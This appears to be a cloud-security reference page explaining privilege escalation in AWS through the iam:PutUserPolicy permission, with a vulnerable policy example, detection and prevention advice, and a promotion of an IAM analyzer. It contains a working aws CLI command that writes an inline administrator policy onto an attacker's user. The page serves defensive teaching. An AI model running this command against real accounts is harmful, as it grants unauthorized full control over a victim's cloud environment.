iam:PutUserPolicy Privilege Escalation

iam:PutUserPolicy writes an inline policy directly onto an IAM user. Unlike attaching a managed policy, the attacker authors the document themselves, so they can grant any permission to their own user without depending on an existing policy.

Permissions an attacker needs

• iam:PutUserPolicy

How the escalation works

• The attacker targets their own IAM user.
• They call PutUserPolicy with an inline document granting Action "*" on Resource "*".
• The inline policy takes effect immediately, giving the user administrator access.

Example vulnerable policy

A policy like this grants the dangerous permission. Paste your own policy into the free AI-Powered IAM analyzer to see if you are exposed.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "iam:PutUserPolicy",
      "Resource": "*"
    }
  ]
}

Example exploitation

For illustration only — run against accounts you own or are authorized to test.

aws iam put-user-policy \
  --user-name attacker \
  --policy-name esc \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'

How to detect and prevent it

• Avoid granting iam:PutUserPolicy except to tightly controlled automation, and scope it to specific users.
• Enforce a permissions boundary so inline policies cannot exceed it.
• Monitor PutUserPolicy, PutRolePolicy, and PutGroupPolicy in CloudTrail — inline policy writes are a strong escalation signal.

FAQ

Related escalation methods

• iam:AttachUserPolicy Privilege Escalation
• iam:CreatePolicyVersion Privilege Escalation

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